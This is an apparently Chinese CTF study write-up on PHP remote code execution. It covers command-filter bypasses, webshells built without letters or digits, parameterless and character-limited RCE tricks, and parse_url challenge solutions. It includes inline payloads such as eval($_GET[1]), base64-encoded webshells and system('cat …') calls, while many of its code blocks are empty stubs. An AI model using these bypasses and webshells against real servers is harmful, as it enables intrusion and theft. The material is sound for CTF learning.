从0到1,AKRCE之旅
RCE全解
观前提示: 本文章主讲php中的RCE各种方法,Java的RCE我会在未来再写一篇文章
漏洞概述
在Web应用开发中为了灵活性、简洁性等会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞;
常见漏洞函数
系统命令执行函数
1 | |
bash命令
1 | |
代码执行函数
1 | |
绕过
空格过滤:
| < | <> | %09 | %0a |
|---|---|---|---|
| $IFS$9 | ${IFS} | $IFS | %0d |
函数过滤:
1 | |
还可以使用通配符,*是匹配所有,比如flag.txt可以使用*.*来匹配,但是这样无法精确匹配到flag.txt,所以我们可以使用另一个通配符?,这个可以匹配单个内容,比如????.???就可以匹配到flag.txt,可以理解为万能字符
黑名单绕过:
1 | |
1 | |
1 | |
内联执行
echo ls
echo ${ls}
相当于把ls的结果使用echo输出
截取环境变量拼接
当所有函数都被过滤时,利用/var/www/html和/bin/sh构造函数绕过,如ls,nl
${PATH:~0}代表取环境变量最后一位,在/binzhon中就是’n’,${PWD:~0}代表取系统变量最后一位,在/var/www/html中就是l,这样即可构造出nl
截取环境变量拼接进阶
在php中有一个系统变量 PHP_CFLAGS=-fstack-protectcor-strong-fpic-fpie-o2-D_LARGEFILE_SOURCE -D_FI LE_OFFSET_BITS=64 还可以利用php的版本号,例如7.3.22 中的3来构造tac
1 | |
其中${PHP_VERSION:${PHP_VERSION:~A}代表3,所以等于${PHP_CFLAGS:3:3}也就是tac
还有另外一种比较特别的思路,构造/和t,然后使用通配符构造/bin/cat
这里不知道为什么放不出来,只能贴图了


虽然大部分情况下以上内容足够完成题目,但若出现无数字字母的RCE题目就要看下面的了
无数字字母
对于一些基础的无数字字母RCE,可以使用探姬大佬的工具bashfuck
利用$
在只限制了字母数字的情况下,我们可以利用shell脚本中$的各种用法
| 变量名 | 含义 |
|---|---|
| $0 | 脚本本身的名字 |
| $1 | 脚本后所输入的第一串字符 |
| $2 | 传递给该shell脚本的第二个参数 |
| $* | 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’ |
| $@ | 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’ |
| $_ | 表示上一个命令的最后一个参数 |
| $# | #脚本后所输入的字符串个数 |
| $$ | 脚本运行的当前进程ID号 |
| $! | 表示最后执行的后台命令的PID |
| $? | 显示最后命令的退出状态,0表示没有错误,其他表示由错误 |
Linux变量$_,它存储着上次程序传入的参数,比如执行echo can you get the file of tmp命令后,再执行echo $_,发现结果是tmp。
由此有大佬出来一个题目,因为要使用报错信息回显,所以加上了2>&1,预期解是?command=. /$_
原理就是用点号+空格+文件名执行一个可执行文件,等效于source可执行文件,然后我们前面echo了一次flag,flag作为了最后一个参数,因此可以用$_代替这个flag,但又因为我们这个flag不是可执行文件,因此linux就会报错,然后打印并输出这个文件里的内容,类似于用date -f越权读文件一样
1 | |
常规
转载p牛的文章一些不包含数字和字母的webshell
1 | |
题目是这样的,非常经典的无数字字母rce,思路是要利用各种符号构造字符然后拼接函数实现rce,但php5与7中assert()函数是有区别的,在php5中,assert是一个函数,我们可以通过$f='assert';$f(phpinfo());这样的方法来动态执行任意代码。
但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。
在p牛的文章中,他使用php5作为环境,但在我们的文章中,就必须两个同时写出(也是记录自己学习的过程)
php5
异或
使用异或构造assert,例如
1 | |
这里放个自己写的遍历脚本,要哪个字符输入即可(可遍历所有字符)(看了大佬的文章就想要是一个个找字符也太慢了,于是就写了个脚本)
1 | |
自增
关于不使用位运算的方法,取反没写是没看懂QAQ
这就得借助PHP的一个小技巧,先看文档:
http://php.net/manual/zh/language.operators.increment.php
也就是说,‘a’++ => ‘b’,‘b’++ => ‘c’… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。那么,如何拿到一个值为字符串’a’的变量呢?
巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array
再取这个字符串的第一个字母,就可以获得’A’了。利用这个技巧,编写如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($_POST[_]),无需获取小写a):
1 | |
php7
在php7中…
不是都php7了为什么不看下面无数字字母进阶里的一行极简写法,一个非常简单的取反解法,而且基本通杀,为什么还要研究这个又费劲限制又大的东西呢
开玩笑,该写还是得写的,喜欢用哪个自己选哈
php5中有用assert动态执行的方法,但php7中没有了,而是使用($a)();这类代码动态执行函数,p牛在文章中举例可以利用file_put_contents函数getshell,这是一个能写入文件的函数,所以我们可以利用这个构造一个shell文件
异或
1 | |
成功!

补充
来自: https://www.freebuf.com/articles/network/279563.html
这里还需要介绍一种特殊的方法,无版本限制,因为本质是用异或构造_GET然后传参rce

当 ; 被过滤时,还可以使用短标签绕过

不知道为什么放不出来代码,只能用图片了
无数字字母进阶
关于进阶版,依然还是要推荐p牛的文章,本文章也就是用自己的话重复了一遍p牛的文章而已 无字母数字webshell之提高篇
1 | |
题目如上,_和$被过滤了,而且限制长度,所以显然,上面的异或等需要使用$和_的payload用不了了,只能使用一些奇技淫巧。
php7
首先来说简单的,在php7中,可以利用($a)();这类的payload执行动态函数。
所以只需要构造一个取反后为命令的payload即可, 例如phpinfo取反后为%8F%97%8F%96%91%99%90, 那么payload为(~%8F%97%8F%96%91%99%90)(); 即可执行phpinfo()。
而如果要执行system, 则只需要在第一个括号中输入system取反, 第二个括号中输入system命令即可, 比如system(ipconfig)的payload为(~%8C%86%8C%8B%9A%92)(~%96%8F%9C%90%91%99%96%98);

这里也挂一个脚本方便转换,不可见字符进行了url编码
1 | |
php5
在php5中,并没有php7中那种表达方式,因此上面的payload并不可以.
在Linux中,有两个关于shell的知识点:
- shell下可以利用
.来执行任意脚本 - Linux文件名支持用glob通配符代替
. 的作用与source一样,就是用当前shell执行一个文件,那么如果服务器上有一个我们可控的文件,就可以使用.getshell了。这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。但若要执行这个文件,也需要字母,所以这时候就需要用到glob通配符了。但我们如果执行. /???/?????????,便会出现错误

原因是匹配到的文件太多了,因此在执行第一个文件时就会报错,所以我们必须匹配到/tmp/phpxxxxxx这个文件。
上传一个文件我们可以发现,文件名是含有大小写的,而刚才ls出来的文件并没有大写的,所以我们可以根据大写字母来下手,使用通配符匹配大写即可,翻开ascii表,可见大写字母位于@和[之间,因此我们可以使用[@-[]来匹配大写字符。

可以匹配成功。
因此我们发包传文件然后在code中输入payload即可
1 | |
如果@被过滤,可以使用它前面的:;<=>?这几个来进行绕过虽然最后一个不一定是大写字母,但是多试几次就可以了

无变量RCE
我第一次听到这个还以为是连get的传参都没有
对于形如下图的函数,我们称之为无变量rce
1 | |
这个表达式最大的特点就是不能出现a(xxx)的东西,只能是a(b(c()));这样的形式正则是这样的,匹配类似a()的字段,并替换为空,最后剩下;就匹配成功,如果是a(xxx)这样的格式,就会在剥离后剩下xxx所以过不了这个就需要对php的函数的积累了
php中的重要函数:
getenv():获取当前环境变量
getallheaders():获取请求头
current():返回数组中的单元,默认取第一个-----别名:pos()
next():取下一个内容
array_reverse():将原数组反置
end():取最后一个字段的内容
由上面三个函数,我们就能很轻易的取到一个数组中的任一单元
localeconv():返回一个包含本地数字和货币格式的数组,这个数组的第一个值为.
var_dump():返回变量的类型和值
scandir():约等于ls
由此我们就能轻易的列出当前目录下的所有文件:
scandir('.')=scandir(current(localeconv()))
再在外面套一个print_r()就能输出了当我们列出了所有文件,就可以配合移动的函数例如next()和end()来获取指定的文件,例如flag.php是scandir()列出的第二个值,就可以使用next(scandir('.')),锁定这个flag.php,接着使用show_source()或者highlight_file()或者readfile()输出flag.php的源代码,就成功获取到flag了
当然这只是读到了当前目录下的flag.php,如果这题需要rce呢,那么就有如下方法:
-
get_defined_vars():返回由所有已定义变量所组成的数组,可以返回传入的参数例如传参?xxx=var_dump(current(get_defined_vars()))&payload=111,就会有一个单元返回了["payload"]=>string(111)"111",接着我们只需要用到上面的next和end函数,就可以轻松获取到这个字段,接着eval()一下就能执行任意传入的字符串,例如&payload=phpinfo();就成功rce了 -
还有另一种方法,
session_start()开启一个session会话,session_id()获取http头的Cookie:PHPSESSID的值,但是session_id()中,仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 , (逗号) - (减号),所以就需要使用进制转换,这里可以转换为16进制,将任意字符串转为16进制,接着在PHPSESSID中传入,再通过hex2bin()转换一下,就可以套个eval()进行RCE了例如eval(hex2bin(session_id(session_start())));
少字符RCE
目前最少应该是3字符,2字符不太可能吧…
直接说4字符吧,3字符还是太新鲜了,把4字符学会了什么5字符和7字符都可以秒了
4字符rce
题目源码
1 | |
我们都知道在linux中可以通过>1生成一个名为1的文件,而\可以当让下一行继续属于同一条命令,*星号在linuxshell中既可以当作通配符使用,也可以当作一个命令,例如直接执行*,就意味着将第一个文件名当作命令,后面的当作参数,比如有两个文件,一个名为ls,一个名为-t,那么就可以使用*执行出ls -t,但这里最大的问题是文件顺序,由于*是以第一个文件为命令,所以就必须控制ls为第一个文件这里还有一个命令是rev,可以将文件内容倒置于是我们就可以想办法通过拆分的方式构造出一个echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==|base64 -d>1.php,cat /flag base64:PD9waHAgcGhwaW5mbygpOw==
这里的逻辑是:利用ls -t>0,写入命令至0,接着sh 0,就可以执行任意命令了,这里主要就是要构造出ls -t>0这样的格式,但如果直接试图写>ls,>\ ,>-t,>\>0,就会发现,生成的文件名的顺序是无法让我们通过*达成目的的
1 | |
所以我们必须控制ls的顺序,这里由于首字母的顺序,所以我们必须另辟蹊径,那么就要用到rev,我们只需要反着写,例如
0>t- sl
1 | |
但是s是在t前面的,所以就需要给ls加参数,这里加上个h,就变成了ht-
1 | |
但我们如果在这里使用ls>v然后试图>rev反向一下并*v(这里是匹配了rev和v,echo *v的结果就是rev v)的话就会发现
1 | |
没错啊,他自己换行了,那么如果我们想要执行这个rev后的v就会发现根本执行不了,因为不是一行的,那么就要提到dir了,dir>v的话就会并在一行,但是这五个字符超出了四个字符,那么就需要再变一下,先>dir一下,刚才我们是怎么做的,是ls>v,所以这次我们要想将文件名写入v,就要使用dir来写,那么自然就是同理
1 | |
这样,当我们进行*的时候,就会执行dir f> ht- sl,结果自然就是f> ht- sl,将这个通过*>v就成功写进了一行,然后只需要>rev,就可以使用*v>0执行出rev v >0的效果,0:ls -th >f,接着只需要sh 0就可以将按时间生成的文件名写入f文件,接着只需要写弹shell的或者是cat /flag的文件名就好了,>\\这就是三个字符了,所以我们可以一个个写,这里注意,我看到很多文章里面关于空格的部分写了>\ \\但我纳了闷了这不是五字符了吗,所以空格不能这么写空格可以换成不需要转义符的${IFS}但如果要构造cat${IFS}/flag,会发现/斜线也不能用这里我卡了很久,突然想起来之前形如>x\\的格式是因为要换行,所以必须在文件名内写入\,但是就仅剩一个位置可以写字符,如果要写一些需要转义的特殊符号就五字符了,所以我们可以节约一下\,为了不换行,就只能使用dir了,也就是前面写入ls -th>f这里需要改为dir -th>f最终payload:
1 | |
这他妈有问题呢,到底怎么写啊
参考:CTF限制字符长度RCE
CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总
3字符rce
从4字符的*v=rev v部分可以得知,当我们使用*时不仅可以当作通配符匹配文件,还可以匹配命令,那我们在三字符这里,就同样可以利用这一点去匹配
1 | |
因为字符太少了,所以我们只能想办法读取到flag,注意到hd命令可以读取到index.php,当当前目录存在名为hd的文件时输入*d*时就等于hd index.php所以就可以试图将flag写入到index.php中从而进行一个读取所以我们只需要光速写入>cp,>hd,*p,这样就生成了一个cp命令,一个hd命令,最后的一个*p就等于cp flag.php index.php,也就是将flag.php的内容覆盖进index.php,接着只需要*d*这样光速读取index.php就可以了
上述题目环境是flag.php在当前目录下,可如果flag不在当前目录下我们就没有办法了吗,当然不是
当flag在家目录下面(/home/www-data)时,由于我们在/var/www/html,所以目录穿越是不可能的,我们就只能通过~来访问到家目录那么寻找一下有回显的两字命令就可以发现,7z是我们需要的,所以我们可以将整个家目录打包为7z文件,最后下载就可以了
1 | |
这里就在当前目录生成了一个包含有/home/kali的所有文件的7z压缩包,以b命名,也就是b.7z
一些特殊题目
题目:2024 N1CTF 中web方向解题最多的zako(php)
大佬博客 2024 N1CTF Junior Web Writeup
以我这种小菜鸡的实力肯定是解不出来了,赛后看了Boogipop大神(ak了)的wp发现了这个有趣的解法,决定将它写在我的这篇文章中题目内容: 一个sh脚本,设置了白名单,只有两个函数能用ls和grep
还有一个黑名单,过滤了;&$(){}[]!@#$%^&*-和反引号(没法打这里了)
1 | |
这里有两层waf,一个是php里的,一个在shell中,因此,大佬选择利用grep构造一个php文件绕过
1 | |
依次输入命令:
1 | |
然后读取一下pop.php即可了最终在pop.php中payload为ls';cat /flag',第一个'闭合了.execute.sh,然后使用;拼接命令,最终用最后一个'闭合最后的单引号原理解析: 第一行命令grep "<?php" inde?.php >> pop.php将index.php中带有<?php的一行写入pop.php中,
第二行命令将带有cmd的一行,即$cmd = $_REQUEST["__secret.xswl.io"];写入,最后用第三行将system("./execute.sh '".$cmd."'");写入完成RCE。
parseURL
这算rce吗,应该算吧
第一题
1 | |
parse_url()函数就是解析传入的url字符串,并以数组的形式保存,而$data['host']则是取了host部分,也就是://后面的内容并进行eval,那么这里就非常好办了,随便构建一个就行e://eval($_GET[1]);/1
第二题
1 | |
先放payloada://data:://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL19mKicpOz8%2b,a://与上一题没什么区别,后面是一个伪协议执行<?php system('cat /_f*');?>,这里主要讲的是两个冒号的原因,我们通过print_r(parse_url())后的结果可以发现
1 | |
path是从第一个/开始算起,而host部分可能会认为最后一个:是分割主机名与端口的,所以不会代入到host中,那么就需要再传入一个:,也就是data::/的格式
第三题
1 | |
这里将host换成了scheme,根据上一题可以看出,scheme是://之前的部分这里经过试验,发现如果传入data:://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL19mKicpOz8%2b那么等同于
1 | |
这里与原来的wp不同,我来猜测一下这个可行的原因
scheme应该是取://之前的内容,而://之后的/之前的应该被当作host,/之后的被认为path
但是如果传入data:://a,当解析时,由于在标准的://之前还有一个:所以可能会被当作scheme:path的方式这里试验一下是
1 | |
所以data:://就被解析为scheme=>data,path=>://,进而做到了伪协议这里给出grok的解释
1 | |
第四题
1 | |
经过前面几题,这题已经非常简单了,只需要构造一个a://host然后在host这里写不带/的命令就可以了
1 | |
这里多包裹了一下是因为不包裹只会echo出来,包裹一下才会再次执行,base64一次是因为直接cat会有/,而/后的会被解析为path,所以要避免
第五题
1 | |
要解这道题,必须先明白$$$$$$host的含义,我们先看这个例子
1 | |
所以我们就明白$$$$$$host的含义了
1 | |
所以如果我们想构造一个$$$$$$host=<?php eval($_POST[1]);?>
只需要层层构造就好了
1 | |
但我们无法生成变量12345,那么就需要用到parse_url的东西了当url='http://127.0.0.1:8888@pass/1.php?a#aaa’时解析的结果为:
1 | |
你以为这就出了吗,其实不然,因为这样写的话最后那个命令是不会被执行的,因为传入的是个字符串,也就是include('<?php system(whoami);?>'),内部的字符串只会被当作路径尝试加载而不会被当作php代码解析,所以要用data声明一下所以payload要改为data://,<?php system("ls /");?>,而且#要urlencode一下,也就是变为%23最终payload:
user://pass:query@scheme/1.php?fragment%23data://,<?php system('ls /');?>
第六题
最后一题了
1 | |
这里payload不能写<?php?>,因为?后面的内容会被当作query,奇技就是用<script language='php'>eval($_GET[1]);/1.php就可以了
题目来源:ctfshow-每周大挑战参考链接:CTFshow周末大挑战第三期官方wp
路漫漫其修远兮 吾将上下而求索
无数字字母这一块基本都是转载的p神的文章(惭愧),也是从p神的文章中学到了很多知识,这里还是必须推一下p牛的博客,篇篇文章都是知识啊
p神的博客
通过自己写了这篇文章之后,自己以后再遇到rce题就会有一个基本思路了,这几天在学校也净思考RCE这一块东西了,自己关于p神的博客整了几个脚本,对于自己的项目应该还是能有点帮助从0到1,RCEmap开发之旅
还有Boogipop爷的思路,非常有趣,利用grep将给出题目的源码写入另一个文件中以绕过index.php中的过滤,学习到了。大B哥的博客
我知道这篇文章没有写全所有的RCE的内容,但是php中的RCE题目差不多就是这些了,本人还很菜,没有一些深刻的理解,如有错误的地方,请多多指正。
